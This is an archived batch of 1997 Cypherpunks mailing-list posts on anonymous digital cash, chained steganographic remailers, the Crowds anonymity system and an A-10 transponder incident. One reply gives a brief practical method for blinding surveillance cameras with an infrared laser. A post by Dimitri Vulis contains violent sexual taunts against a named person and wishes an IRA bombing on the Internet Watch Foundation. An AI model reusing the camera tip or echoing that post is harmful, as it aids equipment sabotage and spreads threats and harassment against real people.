> Maybe this geodesic market you're talking about (which I don't understand
> at all) could work with current technology?

Moore's Law makes a given public network appear increasingly "geodesic",
like Bucky Fuller's geodesic structures,  because nodes (switches,
processors) are comparatively cheaper than lines to build. The geodesic
market is a market which lives on a geodesic network, which, as Moore's law
progresses, creates smaller and smaller financial entities -- eventually
automated ones -- as measured by asset size or cashflow. That's because a
given amount of money, invested in an increasingly larger swarm of
distributed hardware "nodes", can handle more transactions, and/or smaller
amounts of money, as processor prices drop.

I claim that a cash-settled, digital bearer certificate market is what will
function best on a geodesic network, because it costs less to run for the
reasons I outlined above.

I further claim that the most efficient digital bearer certificate is an
anonymous one.

You get anonymity because it's a waste of resources to keep track of people
who pay you in cash. And, if the system is strongly anonymous from the
outset (and perfect pseudonymity is functionally anonymous), you won't even
try.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 3 May 1997 13:17:54 +0800
To: Jeff Barber <declan@well.com
Subject: Re: Bombs Away, from The Netly News Network
Message-ID: <v02140b09af9075621186@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:50 PM 5/1/97, Jeff Barber wrote:
>Declan McCullagh writes:
>>                                                   "A
>> member of the DoJ committee accessed a single web site
>> on the World Wide Web and obtained the titles of 110
>> different bomb-making texts."
>
>I wonder if this was a bookstore.  I did a search for "explosives"
>on amazon.com and came up with at least that many titles.  Only a
>handful were of the Anarchist's Cookbook ilk.  Most were academic or
>industrial studies; a few were from US Govt or Govt-affiliated
>organizations.

Probably Paladin Press. Publisher of such notables, as Hit Man: A technical
manual for independent contractors, a semi-fictional work with lots of
details (written by an anonymous woman, BTW).  See
http://www.paladin-press.com


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 3 May 1997 05:28:50 +0800
To: cypherpunks@cyberpass.net
Subject: chained stego & interfaces to remailers
Message-ID: <199705022113.WAA01710@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Introduction

(Skip down to "Chained Stego" if this intro is obvious for you)

Some users are in countries where crypto is illegal, and would still
like the ability to communicate with others on topics which are
considered illegal in their countries (an example being documenting
civil rights abuses).

For them using encryption is not an option unless they combine with
steganography.

Also in countries where using crypto is legal, people still would like
to have the ability to discuss topics which are considered illegal in
their country (an example exporting cryptographic code, perhaps)

For these users they do have the option of using encryption.  However
for some serious users of crypto, they may wish to hide the fact that
they are sending encrypted communications to anyone at all, as well as
hiding _who_ they are communicating with via mixmaster remailers, and
hiding the contents of their communications via the use of encryption.
Using remailers and using encryption shows up under traffic analysis
even in freer countries, and if you were using steganography, you
would be above suspicion, apparently never having sent an encrypted
message at all, or at least not having sent one during the time in
question.

A useful capability to address the needs of these classes of users
would be to be able to send messages to a remailer by
steganographically encoding them in publically published material,
Examples being: messages posted to USENET, messages posted to mailing
lists, material made available on web pages (text, images, audio
files), CUSeeMe video streams, etc.

Such a system would allow a person in a country where crypto is
outlawed to participate anonymously in discussions in the remaining
free parts of the world without appearing to be using cryptography.

The simple approach is to set up stego to remailer gateways which scan
newsgroups and mailing lists.  (It might be a useful to integrate this
function into the Eternity server, as it is already doing quite a bit
of scanning of newsgroups, and scanning newsgroups is relatively
expensive, so we may as well scan for multiple message types while we
are scanning).

So, to send an anonymous message, a person PGP encrypts their message,
and manipulates the encrypted message to remove the statistical
properties identifying it as a PGP message (by removing
"-----BEGIN..." headers, the fixed PGP formatting inside that, and the
bias caused by the use of RSA), PGP stealth version 2.x would be
suitable for this purpose.

Next a suitable steganographic encoding is required.  A simple method
would be perhaps an in-your-face approach, to include a randomly
distributed, randomly changing .sig:

==
Use a random number, go to jail, so lock me up already.
QGRjcy5leC5hYy51az4gKEhpZ2ggU2VjdXJpdHkpiQCVAgUQMli+7B98EdWB2LS9
AQFF0gQAjiAOPPCs7s0VCHoFI2IWMEcAeQInmnl2p+6rpsvIxjX1v3wBqqstgBu5
aCLY9Uns+iKjzcnt5DTj6NPhJ8EOlefwgHUssiBLTsw7tOvT9fQwcIXOE5ikGP7j
RObTq3a2Vtz4/O/YgN0KQnWcqTDuadeP17cJ2bbaWJpZiGDyWGSJARUDBRAySOsk

The stego remailer gateway has to be able to put back together the
multiple parts in the correct sequence.  The Date: field from the post
would be enough information to allow this.


Chained Stego

However there is another problem: the remailer gateway knows the
identity of the stego users.  The stego users therefore have to trust
the stego gateway not to tell the authorities in their country.  They
also have to trust that the gateway is not actually be run by their
own countries censorship board.  The price for misplacing trust and
revealing your use of encryption may be death in some of these
countries.

It would be nice if we could chain the stego function, so that the
amount of trust required of each element could be reduced, in a
similar way to chaining through remailers acheives this.

So (here we get to the actual content of this post, the above having
been introduction), we could arrange that the stego user encrypts with
a selection of stego gateways public keys.  The steps to send to
gateways A and then B are:

1. encrypt with B's public key, normalise output (with pgp stealth)
2. encrypt with A's public key, normalise output
3. encode normalised output from 2 into an innocuous looking USENET post

The process by which the stego message is recovered is then more
complex, and has higher overhead.  Each stego gateway has to scan
newsgroups for stego messages, and forward it's potential partially
decrypted stego messages to the other stego gateways.  Then each of
those remailers decrypts, and if the result is more stego noise, again
forward back to the other stego gateways.  The problem here is when do
we stop!  Remember if we pick a message, and apply our stego decoding
method to it we get something which looks indistinguishable to a stego
message whether there exists a stego message or not.

Also how much of USENET do we scan?  The stego gateways will be
sending a lot of partially decrypted potential stego messages between
themselves.

One potential solution to the infinite loop problem is to include with
the message a note to the gateway stating how many times this has been
decrypted.  After a few hops it can be discarded.  If the max hops is
2, and there are 3 gateways A, B and C.  The messages created by the
single encrypted message are:

round 1: A, B, and C decrypt and forward to each other

round 2: B, and C decrypt

     C discards the output; 
     B forwards the message to the requested remailer

(We presume that multiply encoding to the same remailer is not useful,
if A can decode by denormalising and decrypting twice, you may just as
well have addressed it to A normalised and encrypted once).  

B does not know which person's USENET post this came from.  He does
not know where it is going (to another USENET group via a chain of
remailers, or to an indivdual)

However B does know that remailer A knows who the message is from.

Presume there are n remailers.  For hops which go through h remailers,
collusion is required by all h remailers to obtain the identity of the
poster.  If the attacker owns k of those remailers, that is k of the
remailers are colluding to discover the identity of the stego user,
then the if k < h the attacker will never discover the identity of any
posters using chains of length h.

If k >= h the attacker will discover the identity of a stego user only
in cases where the chain includes all of the hops. (C(n,k) is choose k
of n function computed with n!/((n-k)!k!)

			k!(n-h)!
Prob = C(k,h)/C(n,h) =  --------
			n!(k-h)!

Some sample values, n = 8 values of h = hops, and k = no of rogue
gateways

h= \k|
hops\|   1   2   3   4   5   6  7
---------------------------------
  1  | .13 .25 .38 .50 .63 .75 .88 
  2  | .00 .04 .11 .21 .36 .54 .75 
  3  | .00 .00 .02 .07 .18 .36 .63 
  4  | .00 .00 .00 .01 .07 .21 .50 
  5  | .00 .00 .00 .00 .02 .11 .38 
  6  | .00 .00 .00 .00 .00 .04 .25 
  7  | .00 .00 .00 .00 .00 .00 .13 

Now interestingly it seems to me that this figure is per stego
message, so if you chose different gateway chains on each message your
cumulative chance of being caught would be worse than if you just
chose a chain and stuck to it.

You're trying to minimise your cumulative chance of being identified.
If you use a chain, and the jack boots don't kick down your door for a
few weeks, you hope it is a good chain.

Of course there is a chance that gateways could be taken over and your
chain would then become a compromised chain.  

An additional danger if a gateway is compromised and it's key is
revealed, the attacker can then go back through it's saved messages
and look for messages which came from the newly acquired gateway, or
went to it, to see how many more chains this compromises.  It would
seem like a good idea for the gateways to ensure forward secrecy by
re-keying reasonably frequently.

To do better than this, we could make the stego gateways to act like
middlemen remailers.  That is a gateway will always communicate with
other gateways via a remailer.  Now gateway B does not know which of
gateways A or C decoded the message from the newsgroup.  So he has to
attack them all.

Better still, the gateways can be completely hidden.  They can use a
message pool to communicate.  This has higher overhead, but now the
fact that gateway B knows either A or C decoded the message does not
help much because gateway B can't physically locate A and C.

An alternative to the suggestion of including a count of the number of
decryptions that have taken place so far to avoid infinite loops, is
to do the job probablistically.

Say that each remailer says that it will only accept mesages where the
low order 3 bits after decryption are "101".  This rule doesn't apply
to the first hop, which knows that the message hasn't circulated
anyway, as it has just pulled it from the newsgroup.  So the first
gateway decodes, forwards to the other gateways.  Each gateway
decodes, and if the desired bit pattern comes out, sends the decrypted
message to the other remailers.

This way we place no restriction on the number of hops, avoid
revealing who the first hop is explicitly, but ensure that the
messages which are not stego at all die naturally, and don't propogate
for ever between the gateways.

Also the "101" is likely enough to come up quite by chance, and the
number of actual stego messages is small compared to just ordinary
USENET posts that seeing a "101" doesn't prove anything conclusive
after 1 hop.  However after several hops (if an attacker owns several
of the gateways), the probability of getting multiple "101"s in a row
points increasingly to a stego message, whereas if we relied on a
header stating how many hops, no information would be leaked by the
attacker handling multiple hops in the middle of the chain.

So it's a trade off between lower overall overhead whilst allowing
multiple hops, whilst increasing the susceptability of the system to
leaked information to an attacker who owns multiple rogue gateways.

However these are all very high overhead because they have DC net like
overheads, you send a copy to everything to everyone always, so you
have a perfect mix.

You can trade off this security to obtain lower bandwidth.  Here's one
suggestion of how to do this.  Obviously we can't include with each
partial decryption instructions on who to remail it to (because if you
found some instructions, that would reveal immediately that it was a
stego message).  However, we can interpret the random bit patterns as
remailer instructions.  Say there are n gateways, we can number the
gateways consecutively and take the decrypted message mod n - 1 to
produce the index number of a gateway to send to next.  We can include
a count of decryptions so far to reduce overhead.

Another way to avoid infinite loops with this variation is to take the
decrypted message mod ((n - 1) + j), anything over n-1 gets discarded.
Messages naturally die out statistically at a speed determined by the
ratio of j / n - 1, after h hops there is probability:

	(j / n - 1) ^ h

that the message will get discarded.

Provided the stego users account for a small amount of traffic, their
use would likley be lost in the large pool of noise even if they stuck
to a particular chain.

Or they could themselves use normally distributed selections
of random chains.  However if they did this, their cumulative chance
of sending through only rogue gateways on one post would increase.

Interestingly this setup has different properties to mixmaster mixes,
with this arrangement traffic analysis gives you nothing, as the
inputs are hidden, and the traffic is perfectly normally distributed.
(Presuming that the stego users create random chains also).  Cover
traffic between gateways adds nothing.

You probably need cover traffic on output however, so that the
gateways send constant, or at least evenly distributed amounts of
traffic off into the remailer net, so that one persons posting can not
be correlated with exits from the gateway network.

Some delay in the gateway network would help also.  Random delay is
different to mixing in this instance because there is already lots of
mixing going on, the point is to ensure that an exit from the gateway
network is not observable at fixed time periods after posts from
particular suspected stego users.  If there are many users this should
average out.

Note also, that when a message does decode to a message, the gateway
should generate a random replacement message and forward that to a
random remailer with the same probability as for other non-decoding
messages, otherwise receiving a message would skew the statistics.

Given that the stego user has an interest in sticking to a chain, this
is less secure than sending copies of partially decrypted potential
messages to all gateways.  Either he doesn't stick to his chain, thus
increasing his odds of being detected, or he uses his fixed chain and
runs the risk that this statistic shows through.  If there are many
stego users each with different fixed randonly chosen chains, the fact
that chains are fixed would be less likely to reveal information as
the random chains would tend to cancel out, and themselves have the
same normal distribution as the non-stego traffic.

Comments?

More efficient ways to get around the weakness of a single remailer
gateway hop?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 3 May 1997 13:29:50 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Privacy news: Oakland Cameras
Message-ID: <v02140b0caf907a774338@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>>How do you hack a camera?

 Physically damaging the camera works, but can get you jail time.  A better
solution, if you have a nearby office window facing the cameras, is to use
a near-infrared laser (<$100) and blind camera.  A strong IR signal will
easily overwhelm the AGC circuit and cause the camera to behave as if its
pointed into the sun.  All video cameras contain an IR block, but it
generally isn't sharp enough to cut off an 850 nm diode laser.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 3 May 1997 15:41:08 +0800
To: cypherpunks@toad.com
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <199705020937.KAA00881@server.test.net>
Message-ID: <v03007808af9094d14286@[207.94.249.180]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:07 AM -0700 5/2/97, Robert Hettinga wrote:
>Yup. But the neat thing about them is they take pennies to clear, instead
>of quarters for paper checks. The other thing is, they're peer-to-peer.
>Credit cards aren't, remember? When was the last time you sold a car or
>house and took MasterCard in payment. :-).

Carlsen Subaru in Palo Alto has signs in their sales offices notifying
people that their agreement with their bank prevents them from taking
credit cards in payment for cars.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 3 May 1997 15:37:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill discussion
In-Reply-To: <v0300782faf8eae00618f@[166.84.253.73]>
Message-ID: <v03007806af908be629d5@[207.94.249.180]>
MIME-Version: 1.0
Content-Type: text/plain


There may be something in the view that there are enough laws already on
the books that if government agents want to give you grief, they can find a
way.  Adding another one is minor compared with preventing crypto
restrictions via executive order.  (How many laws did you break today?
Since I drove a car, I broke at least one.  With respect for the law gone,
the law has only fear, and that's a function of enforcement, and subject to
economic realities.)  YMMV.

Of course, getting rid of these kinds of laws is a project which is long
overdue starting and not adding new ones would be a good start.  (But
that's another rant.)


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 3 May 1997 15:38:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705022130.OAA01562@crypt.hfinney.com>
Message-ID: <v0300780aaf90985e1835@[207.94.249.180]>
MIME-Version: 1.0
Content-Type: text/plain


As Ian Goldberg has shown, you don't need blinding to meet the Digicash
online protocol.  Of course it is not anonymous, but it is a bearer
certificate.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 3 May 1997 08:01:49 +0800
To: hal@rain.org
Subject: Re: A new system for anonymity on the web
In-Reply-To: <199705022121.OAA01551@crypt.hfinney.com>
Message-ID: <199705022343.AAA02698@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Hal Finney <hal@rain.org> writes:
> Adam Back, <aba@dcs.ex.ac.uk>, writes:
> > When Alice and Bob are online, consider that they are actually using
> > their bandwidth most of the time.  I know I do; if I'm not using it I
> > hang up, with pay per second phone lines, you're likely to.
> 
> Actually here in the U.S. most people have access to unmetered Internet
> access these days.  Local and national ISP's are almost always that way,

Yes I know, and I'm envious :-) My web viewing habits suffered badly
when I was no longer able to use univ equipment to play on a T1 all
day instead of write a thesis.  I suffered withdrawl symptoms.

> So the question will be whether the average person uses more than
> 1/n of the bandwidth available during the time he is connected.
> This will no doubt depend on the pricing model for Internet service,
> as you suggest.

You can't just average it though and get a true picture.  It will
cause degradation of the peak available bandwidth out of your modem.
You metioned browsing in flurries.  If your flurry coincided with
someone else's, you'd get a major slow down.  If someone downloads a
big file, for 15 mins, you're stuck at half speed for that interval.
You'll notice this stuff when you're browsing the web and it will be
annoying as hell!  Your actual available bandwidth will fluctuate
between 1/n and 1 where n is the no. of hops as people change their
bandwidth consumption.

The eternity server model allows anonymous browsing within the
eternity virtual web space.  To the extent that you trust the eternity
server if you have an eternity server running in your shell account
(provided that the webserver is apache).  If it's coming out of the
server's cache you're ok, if it's coming from a newspool on a disk
local to the server, you're ok.  Other than that you'll see the
accesses going out to dejanews or altavista.  But you can't cache all
of usenet some of the most hot stuff which you may not want to be
associated with is the sort of thing eternity is designed for.

Later versions of eternity perhaps can set up pipenets between
eternity servers and exchange cache contents, charge to keep data in
caches, and so form their own anonymous distributed database rather
than relying on news archives.  If you set up a pipenet between the
servers you could do something similar to what you describe below with
jondos.

> > Say have split the jondo in half, with two cooperating half-Jondos
> > acting as a single virtual jondo in such a way that someone with
> > root access on one machine but not the other, can't extract any
> > useful information by spying on that half of the jondo.
> 
> This is an intriguing idea.  Secure multiparty calculation protocols allow
> calculations to be made such that neither machine would have access to
> all the data.  It is an interesting question how this could be applied
> to the anonymous communication problem.
>
> In this specific case, if the Crowds system were enhanced so that
> end-to-end encryption was used (which seems very practical and
> useful), you could run a jondo on your PC whose only function was to
> link to the jondo on the ISP and then set up the additional path
> through the jondo net.  The path between your local PC jondo and the
> end one in the path would be encrypted, so even root on the local
> ISP could not see the contents of what you send down the jondo path.
> He might still be able to see when you were sending and when not,
> but he couldn't tell where it was going.

Viewed from outside the jondo net (where the jondos function on the
ISP) would be an opaque series of pipenets with contiuous bandwidth
consumption and a flurry of connections to web pages sprouting off
different jondos.  Your modem connection would be a small pipenet link
feeding into the large bandwidth jondo pipenet.  The flurrys would be
impossible to correlate with users.  To avoid placing all trust with
one jondo, you'd need bi-directional anonymous WEB traffic within the
jondo net with multiple layers of encryption, so that jondos don't
know where the data is going beyond the immediate hop.

You know we could do this if we were willing to pay for the bandwidth.
The ISPs probably won't like PipeNets though as they oversell and rely
on underutilisation of sold bandwidth.  If it worked out to a
reasonable price for the modem user to browse the web, it might be
viable.

> Yes, latency would be cumulative, and I just tested mine and found it
> was 160-220 ms, about the same as what you saw.  So running through say
> 5 jondos at the end of modem paths would add about a second of latency.
> I think this would be fine if it only happened once per web page, but
> almost intolerable if it was once per tiny picture.

Doesn't netscape do the right thing for what you want here?  I think
it's option to set maximum network connections (default 4) means that
it will open multiple sockets to fetch the images on the page in
parallel.  If you load a page with multiple largish pictures you can
see it happen as they all scroll down scan line- by scan line in
parallel.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 3 May 1997 13:06:08 +0800
To: cypherpunks@toad.com
Subject: Cyberstrike
Message-ID: <TCPSMTP.17.5.3.0.44.48.2780269260.1625931@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

May be of interest...

 In> From: cleacy@execulink.com (Chris Leacy)
 In> Newsgroups: comp.infosystems.www.announce
 In> Subject: SOFTWARE: CyberStrike 1.13a Ad filtering/Cookie cutting Proxy
 In> Date: 30 Apr 1997 23:28:43 -0400

 In> CyberStrike: Version 1.13a First Public Release

 In> The first public alpha of CyberStrike was released today.
 In> It can be found at <URL:http://www.execulink.com/~cleacy>

 In> CyberStrike is a banner ad filtering, cookie cutting, HTTP
 In> header overriding proxy of a program.

 In> Whether for privacy concerns, or just to speed up your
 In> browsing, CyberStrike performs admirably well at it's task.

 In> Chris


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM2mQeTltEBIEF0MBAQEbUAf+NQOMPrml38ijLwv8MIPSkTUbtbNQebJy
R4LaeYhXI6Z/OzJdX6AQC2GisxMyPiz3QWWBoAqxGkunWDHbQzDfZVWW6nZa4zLY
do2r11CEWFPba1igX+8JtCm9gd11S8Zlff5Pw5eTYOMcsVSHf6Z/+iAT5aqnIdcb
YU26JswL1MofhWlNhbNXYc/9wQ3uUn1hU3lin+Lujfa5+cXXlTyfz6eFcJlwD7ZY
KdK7UfPMuCeZnUX/VJqBdJ1idXfC5YOlwVMBNIyQK7PgCy59FvP5CiiXhpui7uSj
WijKBSMUsz2HuQIuQJf6zvW/bi5DGWr6PerTXnuVaUkjNHr4Fp13Mg==
=5TtH
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 3 May 1997 23:24:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Layoffs at PGP
Message-ID: <v02140b02af91050db409@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


First ECache is seeking a qualified individual to head e-cash related
development.  Company is headquarted in Las Vegas, but candidate would
ideally be located in SV.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 4 May 1997 00:04:08 +0800
To: cypherpunks@cyberpass.net
Subject: Flying - A-10 follow-up
Message-ID: <v02140b03af910e60e4d1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 01 May 97 08:33:00 CDT
From: Corkum D Capt        2OSS/OSTC <corkumd@oss2.barksdale.af.mil>
Subject: Flying - A-10 follow-up

Corkum D Capt        2OSS/OSTC <corkumd@oss2.barksdale.af.mil>

"Both the A-10's transponder and the autopilot appeared to have been turned
off.  Perhaps there is a simple technical explanation why no one noticed
anything at first."

Let me try and fill in a few of the holes for non-flyers:

When aircraft fly in close formation typically only the lead aircraft has a
transponder turned on.  This is due to limitations with Air Traffic Control
(ATC) systems.  These systems are designed to prevent two aircraft from
getting too close together thereby preventing possible midair collisions.
Unfortunately the computers can't distinguish between aircraft that are on
a collision course and aircraft in formation that are intentionally close
together.  For this reason ATC operators often request wingmen to turn off
their transponders.

Once the A-10 dropped back he was not easily visible to the lead aircraft
who would be concentrating on entering the bombing range, working
coordination with ATC and the range controllers etc.  Inside the range ATC
no longer   maintains operational control of the aircraft and would not be
following any of the aircraft directly.

The first indication of the aircraft missing would be a failure of the
wingman to respond to a radio call.  When this happened it would first be
assumed that he was on the wrong frequency.  The lead aircraft would try to
find him on another frequency, then attempt to call him on the emergency
frequency "Guard".  When this failed the lead would likely assume that the
wingman had radio problems and would attempt to locate him visually. Only
after he failed to locate him visually would he begin to worry that
something happened.  His first   thought would be that the aircraft had a
major malfunction such as complete loss of electrical power, that forced
the pilot to abort the mission and return to base, but also prevented him
from calling to the lead aircraft.  The other
possibility would be that the aircraft was down due to pilot error or
aircraft malfunction.  The idea that the wingman simply took the aircraft
would likely never occur to the lead pilot.

The lead pilot at this point would abort his mission and attempt to
ascertain what happened to his wingman. He would contact ATC and ask if
they had  transponder track on the aircraft or reports of an aircraft down.
He would also perform a visual search of the area and attempt to call back
to the home base to see if they knew what happened.  By this time the rogue
pilot may have been gone for at least 30 minutes and was actually 200 miles
away.


The reason ATC could not track him is a technical issue.  Modern ATC radars
rely primarily on the aircraft transponder to provide location and altitude
information.  The actual radar returns "know as raw data" are only used as
a secondary means to track aircraft when their transponders have failed.
This must be performed manually since the computer has no way to
distinguish one radar return from another without the transponder.   This
method is only used when an ATC controller knows an aircraft transponder
has failed and must be
manually tracked.  Since the A-10 was not supposed to have his transponder
on, no-one would notice when he broke formation.  Only after the fact when
the FAA reviewed the taped radar returns were they able to piece together
the likely course of the A-10.

I hope this explained some of the more technical reasons for what happened.

David Corkum


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 3 May 1997 21:54:32 +0800
To: cypherpunks@toad.com
Subject: Re: Artikel about XS4ALL in New York
In-Reply-To: <Pine.LNX.3.91.970502201705.1060E-100000@fatmans.demon.co.uk>
Message-ID: <quP56D21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


[cc'd to freedom-knights, who don't appreciate censorship of mj web pages]

Paul Bradley <paul@fatmans.demon.co.uk> writes:

> > anarchists, bent on disrupting society," Rodriquez told the Dutch daily
> > Trouw. "But now they have come to see that we are nice and quiet people
> > really."
>
> The only "nice people" are dangerous anarchists bent on destroying
> governments and buggering poloticians to death. (last part a personal
> preference of course, the author is totally straight but would
> nonetheless be distinctly amused to see any government official
> butt-raped to death)

I, personally, would have to use a dildo.  Even if I were queer,
I wouldn't get it up for a politician or a Cabal supporter.

Yes, let's fuck Chris Lewis to death with a 27" dildo!!!1!!1!

> > The company was instrumental in the creation of the Amsterdam Digital
> > The hotline is run by Internet users and providers. Unlike Britain's
> > Internet Watch Foundation, the Dutch hotline doesn't censor any
> > information nor does it ask the provider to do so. Hotline operators
> > contact the author of the information and ask him to remove the
> > offending content.  "If the author does not comply, we report him to
> > the police, and he'll be prosecuted," said Rodriquez, who also is
> > chairman of the Dutch Providers Association.

Both asking the author to remove contents, and contacting the police
are dishonorable acts. Even if the US, honorable providers tell the
complainers: if it's something illegal, call the cops and leave us
out of it.

> > "The Internet Watch Foundation forces the provider to remove the
> > illegal content," he added. "This is a fundamentally different approach
> > to responsibilities on the Internet. We think the author of the
> > information is responsible for his own actions, not the provider."

I hope the IRA blows up these Internet Watch motherfuckers.
Is this Blair guy any saner than the tory bastards?

> And if he chooses not to remove the content you happen to find offensive?
> If you truly believed in the rights of the author and publisher of the
> information you would think about it before sending in your own
> particular brand of thugs to "crush the mutiny".

Perhaps we should further expose XS4ALL's hypocricy by renting from the
web space and putting up some pages they won't like.

> > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > comply, as it did a few weeks ago when it shut down a customer's home
> > page called Neuroroom, which sold marijuana and other soft drugs in
> > Holland and abroad.
>
> Sometimes one really wonders why we bother to set up mirrors to allow
> freedom of information to users, when the owners of these servers,
> supposedly in favour of free speech, do not even have the strength of
> character or conviction to decide for themselves what they will allow on
> their servers rather than bending over for the long cock of the law...

The ISP is not a court to decide that a web page offering MJ for
sale is "illegal".

> > The company's commitment to support free expression and democratization
> > of the Internet doesn't stop here.
>
> As far as I can see it hasn`t even started yet.
>
> > Last fall when the Serbian
> > government censored radio station B-92, XS4ALL helped design an
> > Internet campaign and started to carry news broadcasts (in RealAudio
> > format) that kept the rare opposition voice alive and the international
> > public informed through independent accounts of the events occurring
> > during the mass demonstrations in Belgrade.
>
> I presume B-92 fell into line and matched the "requirements under law for
> obtaining a free-speech permit" before XS4ALL allowed this/

It's because Germans will gladly do anything to fuck over the Serbs.
I bet XS4All wouldn't host a web page for Karajic.

